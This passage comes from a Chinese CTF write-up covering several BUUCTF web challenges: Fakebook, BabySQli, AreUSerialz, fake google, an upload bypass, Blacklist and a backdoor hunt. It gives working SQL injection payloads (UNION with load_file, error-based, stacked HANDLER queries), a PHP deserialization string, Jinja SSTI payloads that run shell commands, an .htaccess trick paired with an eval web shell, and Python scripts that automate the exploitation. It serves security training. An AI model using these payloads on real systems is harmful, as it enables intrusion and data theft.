而且还可以报错syntax error
成功注入
可以看到,用到了unserialize,目录是 /var/www/html/view.php
而且下面的blog content是调用了一个类的函数 getBlogContents()
不能写文件
用load_file来读文件
1 ?no =0 union select 1 ,load_file("/var/www/html/index.php"),3 ,4 %23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php session_start (); ?> <?php require_once 'db.php' ; ?> <?php require_once 'user.php' ; ?> <?php $flag = "FLAG{flag is in your mind}" ;$db = new DB ();$user = new UserInfo ();?> <!doctype html> <html lang="ko" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" > <meta http-equiv="X-UA-Compatible" content="ie=edge" > <title>Fakebook</title> <?php include 'bootstrap.php' ; ?> </head> <body> <div class ="container "> <h1 >the Fakebook </h1 > <?php if (!isset ($_SESSION ['username '])) { $message = "<div class='row'>" ; $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>" ; $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>" ; $message .= "</div>" ; echo $message ; } ?> <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p> <table class ="table "> <tr > <th >#</th > <th >username </th > <th >age </th > <th >blog </th > </tr > <?php foreach ($db ->getAllUsers () as $user ) { $data = unserialize ($user ['data' ]); echo "<tr>" ; echo "<td>{$user['no']} </td>" ; echo "<td><a href='view.php?no={$user['no']} '>{$user['username']} </a></td>" ; echo "<td>{$data->age} </td>" ; echo "<td>{$data->blog} </td>" ; echo "</tr>\n" ; } ?> </table> </div> </body> </html> </td>
1 ?no =0 union select 1 ,load_file("/var/www/html/view.php"),3 ,4 %23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php session_start (); ?> <?php require_once 'db.php' ; ?> <?php require_once 'user.php' ; ?> <?php require_once 'error.php' ; ?> <?php $db = new DB ();?> <!doctype html> <html lang="ko" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" > <meta http-equiv="X-UA-Compatible" content="ie=edge" > <title>User</title> <?php require_once 'bootstrap.php' ; ?> </head> <body> <?php $no = $_GET ['no' ];if ($db ->anti_sqli ($no )){ die ("no hack ~_~" ); } $res = $db ->getUserByNo ($no );$user = unserialize ($res ['data' ]);?> <div class ="container "> <table class ="table "> <tr > <th > username </th > <th > age </th > <th > blog </th > </tr > <tr > <td > <?php echo $res ['username ']; ?> </td > <td > <?php echo $user ->age ; ?> </td > <td > <?php echo xss ($user ->blog ); ?> </td > </tr > </table > <hr > <br ><br ><br ><br ><br > <p >the contents of his /her blog </p > <hr > <?php $response = $user ->getBlogContents (); if ($response === 404) { echo "404 Not found" ; } else { $base64 = base64_encode ($response ); echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64} '>" ; } ?> </div> </body> </html>
1 ?no =0 union select 1 ,load_file("/var/www/html/user.php"),3 ,4 %23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $output = curl_exec ($ch ); $httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } curl_close ($ch ); return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } }
1 ?no =0 union select 1 ,load_file("/var/www/html/db.php"),3 ,4 %23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 <?php require_once 'lib.php' ;$mysqli = new mysqli ('127.0.0.1' , 'root' , 'naiwjebfahjebfja' , 'fakebook' );class DB { function __construct ( ) { } public function isValidUsername ($username ) { global $mysqli ; $query = "select * from users where username = '{$username} '" ; $res = $mysqli ->query ($query ); if (!$res ->fetch_array ()) { return 1 ; } else { return 0 ; } } function login ($username , $passwd ) { global $mysqli ; $username = addslashes ($username ); $passwd = sha512 ($passwd ); $query = "select * from users where username = '{$username} ' and passwd = '{$passwd} '" ; $res = $mysqli ->query ($query ); return $res ->fetch_array (); } function insertUser ($username , $passwd , $data ) { global $mysqli ; $username = substr ($username , 0 , 100 ); $username = addslashes ($username ); $passwd = sha512 ($passwd ); $data = serialize ($data ); $data = addslashes ($data ); $query = "insert into users (username, passwd, data) values ('{$username} ', '{$passwd} ', '{$data} ')" ; return $mysqli ->real_query ($query ); } public function getAllUsers ( ) { global $mysqli ; $query = "select * from users" ; $res = $mysqli ->query ($query ); return $res ->fetch_all (MYSQLI_ASSOC); } public function getUserByNo ($no ) { global $mysqli ; $query = "select * from users where no = {$no} " ; $res = $mysqli ->query ($query ); if (!$res ) { echo "<p>[*] query error! ({$mysqli->error} )</p>" ; } return $res ->fetch_assoc (); } public function anti_sqli ($no ) { $patterns = "/union\Wselect|0x|hex/i" ; return preg_match ($patterns , $no ); } }
好像都没什么用,猜测一下可能有flag.php吧
1 ?no =0 union select 1 ,load_file("/var/www/html/flag.php"),3 ,4 %23
没想到真的有
1 flag{78 c 351 cc -c 597 -46 c 8 -abbb-67 df2 a9 ac714 }
0x23 [GXYCTF2019]BabySQli 有一段base32
解码后是个base64编码
再解码,最后得到
1 select * from user where username = '$name'
猜测一下后端代码
1 2 3 4 5 6 7 8 $name = $_POST ["name" ];$sql = "select * from user where username = '$name '" ;$result = mysql_query ($sql );$pw = $_POST ["pw" ];$row = mysql_fetch_array ($result );if ($pw == $row ["password" ]){ loginsuccess (); }
1 name ='union select 1 ,'admin',3 %23 &pw=1
可能1或3的位置是password
1 name ='union select 1 ,'admin',1 %23 &pw=1
但是这样并不生效,还是wrong pass
猜测可能是先对 $pw 进行了加密运算,然后其结果和 $result["password"] 进行比较
常见的是md5加密,试试看
1 name='union select 'c4ca4238a0b923820dcc509a6f75849b ',' admin',' c4ca4238a0b923820dcc509a6f75849b'%23 &pw=1
得到flag
1 flag {d227c1da-2 a41-4186 -adf3-86 fcec68ffd8}
0x24 [网鼎杯 2020 青龙组]AreUSerialz 直接给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function is_valid ($s ) { for ($i = 0 ; $i < strlen ($s ); $i ++) if (!(ord ($s [$i ]) >= 32 && ord ($s [$i ]) <= 125 )) return false ; return true ; } if (isset ($_GET ['str' ])) { $str = (string )$_GET ['str' ]; if (is_valid ($str )) { $obj = unserialize ($str ); } }
传入str,str要满足每个字符都在 chr(32)到chr(125)之间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 class FileHandler { protected $op ; protected $filename ; protected $content ; function __construct ( ) { $op = "1" ; $filename = "/tmp/tmpfile" ; $content = "Hello World!" ; $this ->process (); } public function process ( ) { if ($this ->op == "1" ) { $this ->write (); } else if ($this ->op == "2" ) { $res = $this ->read (); $this ->output ($res ); } else { $this ->output ("Bad Hacker!" ); } } private function write ( ) { if (isset ($this ->filename) && isset ($this ->content)) { if (strlen ((string )$this ->content) > 100 ) { $this ->output ("Too long!" ); die (); } $res = file_put_contents ($this ->filename, $this ->content); if ($res ) $this ->output ("Successful!" ); else $this ->output ("Failed!" ); } else { $this ->output ("Failed!" ); } } private function read ( ) { $res = "" ; if (isset ($this ->filename)) { $res = file_get_contents ($this ->filename); } return $res ; } private function output ($s ) { echo "[Result]: <br>" ; echo $s ; } function __destruct ( ) { if ($this ->op === "2" ) $this ->op = "1" ; $this ->content = "" ; $this ->process (); } }
虽然是protected,但是不用管,直接写个public属性的,到时候如果访问相同名字的属性会优先访问public的
1 ?str =O:11 :"FileHandler" :3 :{s:2 :"op" ;i:2 ;s:8 :"filename" ;s:8 :"flag.php" ;s:7 :"content" ;i:0 ;}
1 flag ='flag{a83f55a7-3 cc9-4419 -847 e-543 f729e7d4b}
0x25 [BJDCTF 2nd]fake google 1 http ://72 ed6887-d4ef-42 da-9 c45-4 f5bf3b0c751.node3.buuoj.cn/qaq?name={{3 -1 }}
有模板注入,而且是python的
先看看所有类
1 {{().__class__.__mro__ [1].__subclasses__() }}
写个脚本看看哪个类有os或file或__builtin__
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsfrom time import sleepsession = requests.session() url = "http://72ed6887-d4ef-42da-9c45-4f5bf3b0c751.node3.buuoj.cn/qaq" module_os = "<module 'os'" module_file = "<module 'file'" module_builtin = "__builtins__" modules = [module_os,module_file,module_builtin] stop = False for i in range (100 ): if stop: break payload = "{" +"{().__class__.__mro__[1].__subclasses__()[" +str (i)+"].__init__.__globals__}" +"}" print ("processing the {}th subclass " .format (i),"--" *70 ) params = {"name" :payload} resp = session.get(url=url,params=params) print (resp.status_code) while resp.status_code==429 : print ("429 !!! sleep(3)" ) sleep(3 ) resp = session.get(url=url,params=params) print (resp.status_code) if resp.status_code==200 : print (resp.text) for m in modules: if m in resp.text: print (payload,"**" *70 ) print ("I found" ,m,"!!!" ) stop = True break else : print ("something goes wrong" ) if not stop: print ("nothing found" ,"~~" *70 )
找到了__builtins__,调用os模块
1 {{().__class__.__mro__ [1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()" )}}
1 {{().__class__.__mro__ [1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()" )}}
1 flag {2 ac5e2e3-a916-42 c4-aeb5-2 d3f4a484436}
或者用for和if语句
1 {% for s in ().__class__.__mro__[1 ].__subclasses__() %} {% if '__builtins__' in s.__init__.__globals__ %} {{ s.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls /').read()" )}} <hr > {% endif %} {% endfor %}
1 {% for s in ().__class__.__mro__[1 ].__subclasses__() %} {% if '__builtins__' in s.__init__.__globals__ %} {{ s.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat /flag').read()" )}} <hr > {% endif %} {% endfor %}
0x26 [MRCTF2020]你传你🐎呢
把content-type改了
看来对后缀有过滤,出现ph就被拦截
用到了move_uploaded_file
从/tmp/php1BQdTg转移
发现报错
用的是apache,试试看写.htaccess文件
1 2 3 4 filename=".htaccess" Content-Type: image/jpeg AddType application/x-httpd-php .jpg
1 /var/ www/html/u pload/520b73e6a2bb9fe742c7aa237c2307a3/ .htaccess
1 2 3 4 5 6 filename="geach.jpg" Content-Type: image/jpeg <?php eval ($_GET ['kkk' ]); ?>
1 /var/ www/html/u pload/520b73e6a2bb9fe742c7aa237c2307a3/g each .jpg
1 geach.jpg?kkk =var_dump(scandir("/"));
1 geach.jpg?kkk =var_dump(file_get_contents("/flag"));
1 flag {782 cce2b-fb73-4 cdf-ad11-6 ddbc902226b}
0x27 [GYCTF2020]Blacklist 1 return preg_match("/set|prepare |alter |rename |select |update |delete |drop |insert |where |\./i",$inject);
发现要绕过这些东西
报错注入
1 ?inject= 1 'AND+extractvalue (1 , concat(0x7e , user(), 0x7e ))%23
user
database
可以堆叠注入
1 ?inject=3 ';show+databases;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <hr>array (1 ) { [0 ]=> string (11 ) "ctftraining" } <br>array (1 ) { [0 ]=> string (18 ) "information_schema" } <br>array (1 ) { [0 ]=> string (5 ) "mysql" } <br>array (1 ) { [0 ]=> string (18 ) "performance_schema" } <br>array (1 ) { [0 ]=> string (9 ) "supersqli" } <br>array (1 ) { [0 ]=> string (4 ) "test" }
看看supersqli这个库的表
1 ?inject=3 ';show +tables +from +supersqli;%23
1 2 3 4 5 6 7 8 <hr>array (1 ) { [0 ]=> string (8 ) "FlagHere" } <br>array (1 ) { [0 ]=> string (5 ) "words" }
直接用handle来读表
1 ?inject=3 ';handler+FlagHere+open+as +A;handler+A+read +first ;%23
1 flag {2 d9a4e41-62 ab-4 a8d-a2ce-171 b17b388bf}
0x28 [强网杯 2019]高明的黑客 下载网站源码
看了一下,人都傻了
但是里面有很多的system、eval这样的函数
所以写个脚本试试看哪一个才是真正的shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import requestsimport osimport refrom time import sleepurl = "http://593bc93c-a8cb-4b4d-9100-296755309720.node3.buuoj.cn/" session = requests.session() files = os.listdir(path="./src" ) files.reverse() stop = False i = 0 get_pattern = re.compile ("\$_GET\['.*'\]" ) post_pattern = re.compile ("\$_POST\['.*'\]" ) def interactive (url,method,keys ): while True : if method == "get" : payload = input () params = {key:payload for key in keys} resp = session.get(url=url,params=params) print ("**" *70 ) print (resp.status_code) print ("**" *70 ) print (resp.text) print ("**" *70 ) elif method == "post" : payload = input () data = {key:payload for key in keys} resp = session.post(url=url,data=data) print ("**" *70 ) print (resp.status_code) print ("**" *70 ) print (resp.text) print ("**" *70 ) for fi in files: if stop: break print ("--" *70 ) print ("processing the {}th file" .format (i)) print (fi) i = i + 1 with open ("./src/" +fi,encoding="utf-8" ) as f: content = f.readlines() get_param_names = [] post_data_names = [] for cmd in content: if re.search(get_pattern,cmd): get_param_name = re.findall(get_pattern,cmd)[0 ] get_param_name = get_param_name[7 :-2 ] get_param_names.append(get_param_name) elif re.search(post_pattern,cmd): post_data_name = re.findall(post_pattern,cmd)[0 ] post_data_name = post_data_name[8 :-2 ] post_data_names.append(post_data_name) params = {p:"echo 'hello';" for p in get_param_names} resp = session.get(url=url+fi,params=params) print (resp.status_code) while resp.status_code==429 : print ("429 !!! sleep(3)" ) sleep(3 ) resp = session.get(url=url+fi,params=params) print (resp.status_code) if "hello" in resp.text: print ("I found it !!!!!!" ) print ("**" *70 ) print (url+fi+" is your loved one!!!" ) interactive(url=url+fi,method="get" ,keys=get_param_names) data = {d:"echo 'hello';" for d in post_data_names} resp = session.post(url=url+fi,data=data) print (resp.status_code) while resp.status_code==429 : print ("429 !!! sleep(3)" ) sleep(3 ) resp = session.post(url=url+fi,data=data) print (resp.status_code) if "hello" in resp.text: print ("I found it !!!!!!" ) print ("**" *70 ) print (url+fi+" is your loved one!!!" ) interactive(url=url+fi,method="post" ,keys=post_data_names)
简单说一下我写的这个脚本
从每个php文件中找到所有$_GET和 $_POST,然后进行两次请求,一次是get,并把所有get参数都设为 echo 'hello';第二次是post也是把所有 post 参数都设为 echo 'hello',然后如果在resp.text中发现hello,就开始进行交互
1 flag {f48aa2f8-d924-41 d2-91 f9-c7bdb1ad321f}